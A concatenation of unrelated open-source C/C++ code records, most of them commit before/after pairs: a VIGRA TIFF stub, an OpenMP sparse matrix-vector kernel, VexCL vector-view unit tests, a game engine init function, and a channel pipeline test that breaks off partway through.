to permit persons to whom the %\n% ImageMagick is furnished to do so, subject to the following conditions: %\n% %\n% The above copyright notice and this permission notice shall be included in %\n% all copies or substantial portions of ImageMagick. %\n% %\n% The software is provided \"as is\", without warranty of any kind, express or %\n% implied, including but not limited to the warranties of merchantability, %\n% fitness for a particular purpose and noninfringement. In no event shall %\n% E. I. du Pont de Nemours and Company be liable for any claim, damages or %\n% other liability, whether in an action of contract, tort or otherwise, %\n% arising from, out of or in connection with ImageMagick or the use or other %\n% dealings in ImageMagick. %\n% %\n% Except as contained in this notice, the name of the E. I. du Pont de %\n% Nemours and Company shall not be used in advertising or otherwise to %\n% promote the sale, use or other dealings in ImageMagick without prior %\n% written authorization from the E. I. du Pont de Nemours and Company. %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n*\/\n#if !defined(HasTIFF)\n\n#include \"vigra\/error.hxx\"\n#include \"vigra\/tiff.h\"\n#include \"vigra\/impex.h\"\n\nExport VigraImpexImage *vigraImpexReadTIFFImage( VigraImpexImageInfo *image_info)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\nExport unsigned int vigraImpexWriteTIFFImage( VigraImpexImageInfo *image_info,VigraImpexImage *image)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tvoid TIFFClose(TiffImage*)\n{\n vigra_fail( \"TIFF library is not available\");\n}\nExport\tTiffImage* TIFFOpen(const char*, const char*)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFGetField(TiffImage*, ttag_t, ...)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFSetField(TiffImage*, ttag_t, ...)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\nExport\ttsize_t TIFFScanlineSize(TiffImage*)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFReadScanline(TiffImage*, tdata_t, uint32, tsample_t = 0)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFWriteScanline(TiffImage*, tdata_t, uint32, tsample_t = 0)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFReadRGBAImage(TiffImage*, uint32, uint32, uint32*, int = 0)\n{\n vigra_fail( \"TIFF library is not available\");\n return 0;\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>#define NPY_NO_DEPRECATED_API NPY_1_7_API_VERSION\n\n#include <numpy\/arrayobject.h>\n\n#include <omp.h>\n#include <stdio.h>\n\n#include <complex>\n\n#include <boost\/preprocessor\/repetition\/repeat.hpp>\n\n#include \"atomic_add.hpp\"\n\ntemplate <typename DTYPE, typename ITYPE>\nvoid sparse_matvec_template(PyArrayObject* inp, PyArrayObject* outp, npy_intp zsize, PyArrayObject* dz, PyArrayObject* bounds, PyArrayObject* col, PyArrayObject* row, PyArrayObject* coeff, int threads)\n{\n\t\n\tPyArrayObject* ops[3] = {col, row, coeff};\n\tnpy_uint32 flags = NPY_ITER_EXTERNAL_LOOP|NPY_ITER_GROWINNER|NPY_ITER_RANGED|NPY_ITER_BUFFERED|NPY_ITER_DELAY_BUFALLOC;\n\tnpy_uint32 op_flags[3] = {NPY_ITER_READONLY, NPY_ITER_READONLY, NPY_ITER_READONLY};\n\tNpyIter* iter = NpyIter_MultiNew(3, ops , flags, NPY_KEEPORDER, NPY_NO_CASTING, op_flags, NULL);\n\t\n\tnpy_intp dz_size = PyArray_SIZE(dz);\n\tnpy_intp inp_zstride = PyArray_SIZE(inp)\/zsize;\n\tnpy_intp outp_zstride = PyArray_SIZE(outp)\/zsize;\n\t\n\tITYPE* dz_da = (ITYPE*) dz->data;\n\tITYPE* bounds_da = (ITYPE*) bounds->data;\n\tDTYPE* inp_da = (DTYPE*) inp->data;\n\tDTYPE* outp_da = (DTYPE*) outp->data;\n\tDTYPE* inp_loc;\n\tDTYPE* outp_loc;\n\t\n\tNpyIter* local_iter;\n\tNpyIter_IterNextFunc* iternext;\n\t\n\tnpy_intp loopsize;\n\tITYPE* loop_col;\n\tITYPE* loop_row;\n\tDTYPE* loop_coeff;\n\tnpy_intp loop_col_stride;\n\tnpy_intp loop_row_stride;\n\tnpy_intp loop_coeff_stride;\n\t\n\tnpy_intp ib, ie, iz, idz, oz;\n\tint i;\n\t\n\t#pragma omp parallel num_threads(threads) private(local_iter, iternext)\n\t{\n\t\t\n\t\t#pragma omp critical\n\t\tlocal_iter = NpyIter_Copy(iter);\n\t\t\n\t\titernext = NpyIter_GetIterNext(local_iter, NULL);\n\n\t\t#pragma omp for collapse(2) private(iz, idz, oz, inp_loc, outp_loc, ib, ie, loopsize, loop_col, loop_row, loop_coeff, loop_col_stride, loop_row_stride, loop_coeff_stride, i)\n\t\tfor(iz=0; iz<zsize; iz++)\n\t\t{\n\t\t\tfor(idz=0; idz<dz_size; idz++)\n\t\t\t{\n\t\t\t\toz = iz + dz_da[idz];\n\t\t\t\tif(oz>=0 && oz<zsize)\n\t\t\t\t{\n\t\t\t\t\tinp_loc = inp_da + iz*inp_zstride;\n\t\t\t\t\toutp_loc = outp_da + oz*outp_zstride;\n\t\t\t\t\tib = bounds_da[idz];\n\t\t\t\t\tie = bounds_da[idz+1];\n\n\t\t\t\t\tif(ie>ib)\n\t\t\t\t\t{\n\t\t\t\t\t\tNpyIter_ResetToIterIndexRange(local_iter, ib, ie, NULL);\n\n\t\t\t\t\t\tdo{\n\t\t\t\t\t\t\tloopsize = NpyIter_GetInnerLoopSizePtr(local_iter)[0];\n\t\t\t\t\n\t\t\t\t\t\t\tloop_col = (ITYPE*) NpyIter_GetDataPtrArray(local_iter)[0];\n\t\t\t\t\t\t\tloop_row = (ITYPE*) NpyIter_GetDataPtrArray(local_iter)[1];\n\t\t\t\t\t\t\tloop_coeff = (DTYPE*) NpyIter_GetDataPtrArray(local_iter)[2];\n\t\t\t\t\n\t\t\t\t\t\t\tloop_col_stride = NpyIter_GetInnerStrideArray(local_iter)[0]\/sizeof(ITYPE);\n\t\t\t\t\t\t\tloop_row_stride = NpyIter_GetInnerStrideArray(local_iter)[1]\/sizeof(ITYPE);\n\t\t\t\t\t\t\tloop_coeff_stride = NpyIter_GetInnerStrideArray(local_iter)[2]\/sizeof(DTYPE);\n\n\t\t\t\t\t\t\t#pragma omp simd\n\t\t\t\t\t\t\tfor(i=0; i<loopsize; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tatomic_add(outp_loc + loop_row[0], (DTYPE) 1);\/\/loop_coeff[0] * inp_loc[loop_col[0]]);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\tloop_col += loop_col_stride;\n\t\t\t\t\t\t\t\tloop_row += loop_row_stride;\n\t\t\t\t\t\t\t\tloop_coeff += loop_coeff_stride;\n\t\t\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t} while (iternext(local_iter));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t\t\n\t\tNpyIter_Deallocate(local_iter);\n\t\t\n\t}\n\t\n\tNpyIter_Deallocate(iter);\n}\n\n#define DTYPES(I) DTYPES ## I\n#define DTYPES0 npy_float32\n#define DTYPES1 npy_float64\n#define DTYPES2 std::complex<npy_float32>\n#define DTYPES3 std::complex<npy_float64>\n\n#define DTYPENAMES(I) DTYPENAMES ## I\n#define DTYPENAMES0 NPY_FLOAT32\n#define DTYPENAMES1 NPY_FLOAT64\n#define DTYPENAMES2 NPY_COMPLEX64\n#define DTYPENAMES3 NPY_COMPLEX128\n\n#define DTYPES_CNT 4\n\n#define ITYPES(I) ITYPES ## I\n#define ITYPES0 npy_int16\n#define ITYPES1 npy_int32\n#define ITYPES2 npy_int64\n#define ITYPES3 npy_uint16\n#define ITYPES4 npy_uint32\n#define ITYPES5 npy_uint64\n\n#define ITYPENAMES(I) ITYPENAMES ## I\n#define ITYPENAMES0 NPY_INT16\n#define ITYPENAMES1 NPY_INT32\n#define ITYPENAMES2 NPY_INT64\n#define ITYPENAMES3 NPY_UINT16\n#define ITYPENAMES4 NPY_UINT32\n#define ITYPENAMES5 NPY_UINT64\n\n#define ITYPES_CNT 6\n\n#define DISPATCH_INNER_CASE(z, itype, dtype)\t\t\t\t\t\t\t\\\n\tcase ITYPENAMES(itype): return sparse_matvec_template<DTYPES(dtype), ITYPES(itype)>;\n\t\n#define DISPATCH_CASE(z, dtype, itype_num)\t\t\t\t\t\t\t\t\\\n\tcase DTYPENAMES(dtype): switch(itype_num) { BOOST_PP_REPEAT(ITYPES_CNT, DISPATCH_INNER_CASE, dtype) };\n\nvoid (*dispatch_sparse_matvec(int dtype_num, int itype_num))(PyArrayObject*, PyArrayObject*, npy_intp, PyArrayObject*, PyArrayObject*, PyArrayObject*, PyArrayObject*, PyArrayObject*, int)\n{\n\tswitch(dtype_num){ BOOST_PP_REPEAT(DTYPES_CNT, DISPATCH_CASE, itype_num) };\n}\n\n#undef DISPATCH_INNER_CASE\n#undef DISPATCH_CASE\n\nvoid sparse_matvec(PyArrayObject* inp, PyArrayObject* outp, npy_intp zsize, PyArrayObject* dz, PyArrayObject* bounds, PyArrayObject* col, PyArrayObject* row, PyArrayObject* coeff, int threads)\n{\n\tdispatch_sparse_matvec(inp->descr->type_num, col->descr->type_num)(inp, outp, zsize, dz, bounds, col, row, coeff, threads);\n}\n<commit_msg>removed debugging change<commit_after>#define NPY_NO_DEPRECATED_API NPY_1_7_API_VERSION\n\n#include <numpy\/arrayobject.h>\n\n#include <omp.h>\n#include <stdio.h>\n\n#include <complex>\n\n#include <boost\/preprocessor\/repetition\/repeat.hpp>\n\n#include \"atomic_add.hpp\"\n\ntemplate <typename DTYPE, typename ITYPE>\nvoid sparse_matvec_template(PyArrayObject* inp, PyArrayObject* outp, npy_intp zsize, PyArrayObject* dz, PyArrayObject* bounds, PyArrayObject* col, PyArrayObject* row, PyArrayObject* coeff, int threads)\n{\n\t\n\tPyArrayObject* ops[3] = {col, row, coeff};\n\tnpy_uint32 flags = NPY_ITER_EXTERNAL_LOOP|NPY_ITER_GROWINNER|NPY_ITER_RANGED|NPY_ITER_BUFFERED|NPY_ITER_DELAY_BUFALLOC;\n\tnpy_uint32 op_flags[3] = {NPY_ITER_READONLY, NPY_ITER_READONLY, NPY_ITER_READONLY};\n\tNpyIter* iter = NpyIter_MultiNew(3, ops , flags, NPY_KEEPORDER, NPY_NO_CASTING, op_flags, NULL);\n\t\n\tnpy_intp dz_size = PyArray_SIZE(dz);\n\tnpy_intp inp_zstride = PyArray_SIZE(inp)\/zsize;\n\tnpy_intp outp_zstride = PyArray_SIZE(outp)\/zsize;\n\t\n\tITYPE* dz_da = (ITYPE*) dz->data;\n\tITYPE* bounds_da = (ITYPE*) bounds->data;\n\tDTYPE* inp_da = (DTYPE*) inp->data;\n\tDTYPE* outp_da = (DTYPE*) outp->data;\n\tDTYPE* inp_loc;\n\tDTYPE* outp_loc;\n\t\n\tNpyIter* local_iter;\n\tNpyIter_IterNextFunc* iternext;\n\t\n\tnpy_intp loopsize;\n\tITYPE* loop_col;\n\tITYPE* loop_row;\n\tDTYPE* loop_coeff;\n\tnpy_intp loop_col_stride;\n\tnpy_intp loop_row_stride;\n\tnpy_intp loop_coeff_stride;\n\t\n\tnpy_intp ib, ie, iz, idz, oz;\n\tint i;\n\t\n\t#pragma omp parallel num_threads(threads) private(local_iter, iternext)\n\t{\n\t\t\n\t\t#pragma omp critical\n\t\tlocal_iter = NpyIter_Copy(iter);\n\t\t\n\t\titernext = NpyIter_GetIterNext(local_iter, NULL);\n\n\t\t#pragma omp for collapse(2) private(iz, idz, oz, inp_loc, outp_loc, ib, ie, loopsize, loop_col, loop_row, loop_coeff, loop_col_stride, loop_row_stride, loop_coeff_stride, i)\n\t\tfor(iz=0; iz<zsize; iz++)\n\t\t{\n\t\t\tfor(idz=0; idz<dz_size; idz++)\n\t\t\t{\n\t\t\t\toz = iz + dz_da[idz];\n\t\t\t\tif(oz>=0 && oz<zsize)\n\t\t\t\t{\n\t\t\t\t\tinp_loc = inp_da + iz*inp_zstride;\n\t\t\t\t\toutp_loc = outp_da + oz*outp_zstride;\n\t\t\t\t\tib = bounds_da[idz];\n\t\t\t\t\tie = bounds_da[idz+1];\n\n\t\t\t\t\tif(ie>ib)\n\t\t\t\t\t{\n\t\t\t\t\t\tNpyIter_ResetToIterIndexRange(local_iter, ib, ie, NULL);\n\n\t\t\t\t\t\tdo{\n\t\t\t\t\t\t\tloopsize = NpyIter_GetInnerLoopSizePtr(local_iter)[0];\n\t\t\t\t\n\t\t\t\t\t\t\tloop_col = (ITYPE*) NpyIter_GetDataPtrArray(local_iter)[0];\n\t\t\t\t\t\t\tloop_row = (ITYPE*) NpyIter_GetDataPtrArray(local_iter)[1];\n\t\t\t\t\t\t\tloop_coeff = (DTYPE*) NpyIter_GetDataPtrArray(local_iter)[2];\n\t\t\t\t\n\t\t\t\t\t\t\tloop_col_stride = NpyIter_GetInnerStrideArray(local_iter)[0]\/sizeof(ITYPE);\n\t\t\t\t\t\t\tloop_row_stride = NpyIter_GetInnerStrideArray(local_iter)[1]\/sizeof(ITYPE);\n\t\t\t\t\t\t\tloop_coeff_stride = NpyIter_GetInnerStrideArray(local_iter)[2]\/sizeof(DTYPE);\n\n\t\t\t\t\t\t\t#pragma omp simd\n\t\t\t\t\t\t\tfor(i=0; i<loopsize; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tatomic_add(outp_loc + loop_row[0], loop_coeff[0] * inp_loc[loop_col[0]]);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\tloop_col += loop_col_stride;\n\t\t\t\t\t\t\t\tloop_row += loop_row_stride;\n\t\t\t\t\t\t\t\tloop_coeff += loop_coeff_stride;\n\t\t\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t} while (iternext(local_iter));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t\t\n\t\tNpyIter_Deallocate(local_iter);\n\t\t\n\t}\n\t\n\tNpyIter_Deallocate(iter);\n}\n\n#define DTYPES(I) DTYPES ## I\n#define DTYPES0 npy_float32\n#define DTYPES1 npy_float64\n#define DTYPES2 std::complex<npy_float32>\n#define DTYPES3 std::complex<npy_float64>\n\n#define DTYPENAMES(I) DTYPENAMES ## I\n#define DTYPENAMES0 NPY_FLOAT32\n#define DTYPENAMES1 NPY_FLOAT64\n#define DTYPENAMES2 NPY_COMPLEX64\n#define DTYPENAMES3 NPY_COMPLEX128\n\n#define DTYPES_CNT 4\n\n#define ITYPES(I) ITYPES ## I\n#define ITYPES0 npy_int16\n#define ITYPES1 npy_int32\n#define ITYPES2 npy_int64\n#define ITYPES3 npy_uint16\n#define ITYPES4 npy_uint32\n#define ITYPES5 npy_uint64\n\n#define ITYPENAMES(I) ITYPENAMES ## I\n#define ITYPENAMES0 NPY_INT16\n#define ITYPENAMES1 NPY_INT32\n#define ITYPENAMES2 NPY_INT64\n#define ITYPENAMES3 NPY_UINT16\n#define ITYPENAMES4 NPY_UINT32\n#define ITYPENAMES5 NPY_UINT64\n\n#define ITYPES_CNT 6\n\n#define DISPATCH_INNER_CASE(z, itype, dtype)\t\t\t\t\t\t\t\\\n\tcase ITYPENAMES(itype): return sparse_matvec_template<DTYPES(dtype), ITYPES(itype)>;\n\t\n#define DISPATCH_CASE(z, dtype, itype_num)\t\t\t\t\t\t\t\t\\\n\tcase DTYPENAMES(dtype): switch(itype_num) { BOOST_PP_REPEAT(ITYPES_CNT, DISPATCH_INNER_CASE, dtype) };\n\nvoid (*dispatch_sparse_matvec(int dtype_num, int itype_num))(PyArrayObject*, PyArrayObject*, npy_intp, PyArrayObject*, PyArrayObject*, PyArrayObject*, PyArrayObject*, PyArrayObject*, int)\n{\n\tswitch(dtype_num){ BOOST_PP_REPEAT(DTYPES_CNT, DISPATCH_CASE, itype_num) };\n}\n\n#undef DISPATCH_INNER_CASE\n#undef DISPATCH_CASE\n\nvoid sparse_matvec(PyArrayObject* inp, PyArrayObject* outp, npy_intp zsize, PyArrayObject* dz, PyArrayObject* bounds, PyArrayObject* col, PyArrayObject* row, PyArrayObject* coeff, int threads)\n{\n\tdispatch_sparse_matvec(inp->descr->type_num, col->descr->type_num)(inp, outp, zsize, dz, bounds, col, row, coeff, threads);\n}\n<|endoftext|>"} {"text":"<commit_before>#define BOOST_TEST_MODULE VectorView\n#include <valarray>\n#include <boost\/test\/unit_test.hpp>\n#include \"context_setup.hpp\"\n\nBOOST_AUTO_TEST_CASE(vector_view_1d)\n{\n const size_t N = 1024;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n std::vector<double> x = random_vector<double>(2 * N);\n vex::vector<double> X(queue, x);\n vex::vector<double> Y(queue, N);\n\n cl_ulong size = N;\n cl_long stride = 2;\n\n vex::gslice<1> slice(0, &size, &stride);\n\n Y = slice(X);\n\n check_sample(Y, [&](size_t idx, double v) { BOOST_CHECK(v == x[idx * 2]); });\n}\n\nBOOST_AUTO_TEST_CASE(vector_view_2)\n{\n const size_t N = 32;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n std::valarray<double> x(N * N);\n std::iota(&x[0], &x[N * N], 0);\n\n \/\/ Select every even point from sub-block [(2,4) - (10,10)]:\n size_t start = 2 * N + 4;\n size_t size[] = {5, 4};\n size_t stride[] = {2 * N, 2};\n\n std::gslice std_slice(start, std::valarray<size_t>(size, 2), std::valarray<size_t>(stride, 2));\n\n std::valarray<double> y = x[std_slice];\n\n vex::vector<double> X(queue, N * N, &x[0]);\n vex::vector<double> Y(queue, size[0] * size[1]);\n\n vex::gslice<2> vex_slice(start, size, stride);\n\n Y = vex_slice(X);\n\n check_sample(Y, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, y[idx]); });\n}\n\nBOOST_AUTO_TEST_CASE(vector_slicer_2d)\n{\n const size_t N = 32;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n std::valarray<double> x(N * N);\n std::iota(&x[0], &x[N * N], 0);\n\n \/\/ Select every even point from sub-block [(2,4) - (10,10)]:\n size_t start = 2 * N + 4;\n size_t size[] = {5, 4};\n size_t stride[] = {2 * N, 2};\n\n std::gslice std_slice(start, std::valarray<size_t>(size, 2), std::valarray<size_t>(stride, 2));\n std::valarray<double> y = x[std_slice];\n\n vex::vector<double> X(queue, N * N, &x[0]);\n vex::vector<double> Y(queue, size[0] * size[1]);\n vex::vector<double> Z(queue, N);\n\n size_t dim[2] = {N, N};\n\n vex::slicer<2> slicer(dim);\n\n\n\n auto slice = slicer[vex::range(2, 2, 11)][vex::range(4, 2, 11)];\n\n Y = slice(X);\n\n check_sample(Y, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, y[idx]); });\n\n\n\n Z = slicer[5](X); \/\/ Put fith row of X into Z;\n\n check_sample(Z, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, x[5 * N + idx]); });\n\n\n\n Z = slicer[vex::range()][5](X); \/\/ Puth fith column of X into Z;\n\n check_sample(Z, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, x[5 + N * idx]); });\n}\n\nBOOST_AUTO_TEST_CASE(vector_permutation)\n{\n const size_t N = 1024;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n std::vector<double> x = random_vector<double>(N);\n vex::vector<double> X(queue, x);\n vex::vector<double> Y(queue, N);\n vex::vector<size_t> I(queue, N);\n\n I = N - 1 - vex::element_index();\n\n vex::permutation reverse(I);\n\n Y = reverse(X);\n\n check_sample(Y, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, x[N - 1 - idx]); });\n}\n\nBOOST_AUTO_TEST_CASE(reduce_slice)\n{\n const size_t N = 1024;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n vex::vector<int> X(queue, N);\n vex::Reductor<int, vex::SUM> sum(queue);\n vex::slicer<1> slice(&N);\n\n X = 1;\n\n BOOST_CHECK_EQUAL(N \/ 2, sum( slice[vex::range(0, 2, N)](X) ));\n}\n\nBOOST_AUTO_TEST_CASE(assign_to_view) {\n const size_t m = 32;\n const size_t n = m * m;\n\n std::array<size_t, 2> dim = {{m, m}};\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n vex::vector<int> x(queue, n);\n vex::slicer<1> slicer1(&n);\n vex::slicer<2> slicer2(dim);\n\n x = 1;\n\n slicer1[vex::range(1, 2, n)](x) = 2;\n\n check_sample(x, [&](size_t idx, int v) {\n BOOST_CHECK_EQUAL(v, idx % 2 + 1);\n });\n\n for(size_t i = 0; i < m; ++i)\n slicer2[vex::range()][i](x) = i;\n\n check_sample(x, [&](size_t idx, int v) {\n BOOST_CHECK_EQUAL(v, idx % m);\n });\n\n vex::vector<size_t> I(ctx, m);\n\n I = vex::element_index() * m;\n\n vex::permutation first_col(I);\n\n first_col(x) = 42;\n\n for(size_t i = 0; i < m; ++i)\n BOOST_CHECK_EQUAL(x[i * m], 42);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>Fixed bug in tests\/vector_view.cpp<commit_after>#define BOOST_TEST_MODULE VectorView\n#include <valarray>\n#include <boost\/test\/unit_test.hpp>\n#include \"context_setup.hpp\"\n\nBOOST_AUTO_TEST_CASE(vector_view_1d)\n{\n const size_t N = 1024;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n std::vector<double> x = random_vector<double>(2 * N);\n vex::vector<double> X(queue, x);\n vex::vector<double> Y(queue, N);\n\n cl_ulong size = N;\n cl_long stride = 2;\n\n vex::gslice<1> slice(0, &size, &stride);\n\n Y = slice(X);\n\n check_sample(Y, [&](size_t idx, double v) { BOOST_CHECK(v == x[idx * 2]); });\n}\n\nBOOST_AUTO_TEST_CASE(vector_view_2)\n{\n const size_t N = 32;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n std::valarray<double> x(N * N);\n std::iota(&x[0], &x[N * N], 0);\n\n \/\/ Select every even point from sub-block [(2,4) - (10,10)]:\n size_t start = 2 * N + 4;\n size_t size[] = {5, 4};\n size_t stride[] = {2 * N, 2};\n\n std::gslice std_slice(start, std::valarray<size_t>(size, 2), std::valarray<size_t>(stride, 2));\n\n std::valarray<double> y = x[std_slice];\n\n vex::vector<double> X(queue, N * N, &x[0]);\n vex::vector<double> Y(queue, size[0] * size[1]);\n\n vex::gslice<2> vex_slice(start, size, stride);\n\n Y = vex_slice(X);\n\n check_sample(Y, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, y[idx]); });\n}\n\nBOOST_AUTO_TEST_CASE(vector_slicer_2d)\n{\n const size_t N = 32;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n std::valarray<double> x(N * N);\n std::iota(&x[0], &x[N * N], 0);\n\n \/\/ Select every even point from sub-block [(2,4) - (10,10)]:\n size_t start = 2 * N + 4;\n size_t size[] = {5, 4};\n size_t stride[] = {2 * N, 2};\n\n std::gslice std_slice(start, std::valarray<size_t>(size, 2), std::valarray<size_t>(stride, 2));\n std::valarray<double> y = x[std_slice];\n\n vex::vector<double> X(queue, N * N, &x[0]);\n vex::vector<double> Y(queue, size[0] * size[1]);\n vex::vector<double> Z(queue, N);\n\n size_t dim[2] = {N, N};\n\n vex::slicer<2> slicer(dim);\n\n\n\n auto slice = slicer[vex::range(2, 2, 11)][vex::range(4, 2, 11)];\n\n Y = slice(X);\n\n check_sample(Y, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, y[idx]); });\n\n\n\n Z = slicer[5](X); \/\/ Put fith row of X into Z;\n\n check_sample(Z, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, x[5 * N + idx]); });\n\n\n\n Z = slicer[vex::range()][5](X); \/\/ Puth fith column of X into Z;\n\n check_sample(Z, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, x[5 + N * idx]); });\n}\n\nBOOST_AUTO_TEST_CASE(vector_permutation)\n{\n const size_t N = 1024;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n std::vector<double> x = random_vector<double>(N);\n vex::vector<double> X(queue, x);\n vex::vector<double> Y(queue, N);\n vex::vector<size_t> I(queue, N);\n\n I = N - 1 - vex::element_index();\n\n vex::permutation reverse(I);\n\n Y = reverse(X);\n\n check_sample(Y, [&](size_t idx, double v) { BOOST_CHECK_EQUAL(v, x[N - 1 - idx]); });\n}\n\nBOOST_AUTO_TEST_CASE(reduce_slice)\n{\n const size_t N = 1024;\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n vex::vector<int> X(queue, N);\n vex::Reductor<int, vex::SUM> sum(queue);\n vex::slicer<1> slice(&N);\n\n X = 1;\n\n BOOST_CHECK_EQUAL(N \/ 2, sum( slice[vex::range(0, 2, N)](X) ));\n}\n\nBOOST_AUTO_TEST_CASE(assign_to_view) {\n const size_t m = 32;\n const size_t n = m * m;\n\n std::array<size_t, 2> dim = {{m, m}};\n\n std::vector<cl::CommandQueue> queue(1, ctx.queue(0));\n\n vex::vector<int> x(queue, n);\n vex::slicer<1> slicer1(&n);\n vex::slicer<2> slicer2(dim);\n\n x = 1;\n\n slicer1[vex::range(1, 2, n)](x) = 2;\n\n check_sample(x, [&](size_t idx, int v) {\n BOOST_CHECK_EQUAL(v, idx % 2 + 1);\n });\n\n for(size_t i = 0; i < m; ++i)\n slicer2[vex::range()][i](x) = i;\n\n check_sample(x, [&](size_t idx, int v) {\n BOOST_CHECK_EQUAL(v, idx % m);\n });\n\n vex::vector<size_t> I(queue, m);\n\n I = vex::element_index() * m;\n\n vex::permutation first_col(I);\n\n first_col(x) = 42;\n\n for(size_t i = 0; i < m; ++i)\n BOOST_CHECK_EQUAL(x[i * m], 42);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"} {"text":"<commit_before>#include \"GameProcess.h\"\n#include \"Object.h\"\n#include \"Engine.h\"\n#include \"World.h\"\n#include \"App.h\"\nusing namespace MathLib;\n\nCGameProcess::CGameProcess(void)\n{\n\n}\n\nCGameProcess::~CGameProcess(void)\n{\n\n}\nint CGameProcess::Init()\n{\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"char\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"node\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"smesh\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"sanim\");\n\n\tg_Engine.pWorld->LoadWorld(\"data\/scene\/terrain\/test\/test.world\");\n\t\/\/g_Engine.pWorld->LoadWorld(\"data\/scene\/terrain\/cj\/cj.world\"); \n}<commit_msg>Signed-off-by: mrlitong <litongtongxue@gmail.com><commit_after>#include \"GameProcess.h\"\n#include \"Object.h\"\n#include \"Engine.h\"\n#include \"World.h\"\n#include \"App.h\"\n#include \"ToolsCamera.h\"\n\n\n\n\nusing namespace MathLib;\n\nCGameProcess::CGameProcess(void)\n{\n\n}\n\nCGameProcess::~CGameProcess(void)\n{\n\n}\nint CGameProcess::Init()\n{\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"char\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"node\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"smesh\");\n\tg_Engine.pFileSystem->CacheFilesFormExt(\"sanim\");\n\n\tg_Engine.pWorld->LoadWorld(\"data\/scene\/terrain\/test\/test.world\");\n\t\/\/g_Engine.pWorld->LoadWorld(\"data\/scene\/terrain\/cj\/cj.world\"); \n\tg_Engine.pControls->SetKeyPressFunc(KeyPress);\n}<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <gtest\/gtest.h>\n#include \"..\/pipeline.h\"\n#include \"..\/channel.h\"\n#include \"..\/scheduler.h\"\n#include \"..\/shell.h\"\n#include <thread>\n#include <asyncply\/run.h>\n\nclass ChannelTest : testing::Test { };\n\nusing cmd = cu::pipeline<int>;\n\ncmd::link generator()\n{\n\treturn [](cmd::in&, cmd::out& yield)\n\t{\n\t\tfor (auto& s : {100, 200, 300})\n\t\t{\n\t\t\tstd::cout << \"I am generator and push \" << s << std::endl;\n\t\t\tyield(s);\n\t\t}\n\t};\n}\n\ncmd::link link1()\n{\n\treturn [](cmd::in& source, cmd::out& yield)\n\t{\n\t\tfor (auto& s : source)\n\t\t{\n\t\t\tstd::cout << \"I am link1 and push \" << s << std::endl;\n\t\t\tyield(s);\n\t\t}\n\t};\n}\n\ncmd::link link2()\n{\n\treturn [](cmd::in& source, cmd::out& yield)\n\t{\n\t\tfor (auto& s : source)\n\t\t{\n\t\t\tstd::cout << \"I am link2 and push \" << s << std::endl;\n\t\t\tyield(s);\n\t\t}\n\t};\n}\n\ncmd::link link3()\n{\n\treturn [](cmd::in& source, cmd::out& yield)\n\t{\n\t\tfor (auto& s : source)\n\t\t{\n\t\t\tstd::cout << \"I am link3 and push \" << s << std::endl;\n\t\t\tyield(s);\n\t\t}\n\t};\n}\n\nTEST(ChannelTest, pipeline)\n{\n\tcmd(generator(), link1(), link2(), link3());\n}\n\nTEST(ChannelTest, goroutines_consumer)\n{\n\tcu::scheduler sch;\n\tcu::channel<std::string> go(sch);\n\t\/\/ go.connect(cu::quote(\"__^-^__\"));\n\t\/\/ go.connect(cu::quote(\"__\\o\/__\"));\n\tsch.spawn([&](auto& yield) {\n\t\t\/\/ send\n\t\tfor(int i=1; i<=200; ++i)\n\t\t{\n\t\t\tstd::cout << \"sending: \" << i << std::endl;\n\t\t\tgo(yield, std::to_string(i));\n\t\t}\n\t\tgo.close(yield);\n\t});\n\tsch.spawn([&](auto& yield) 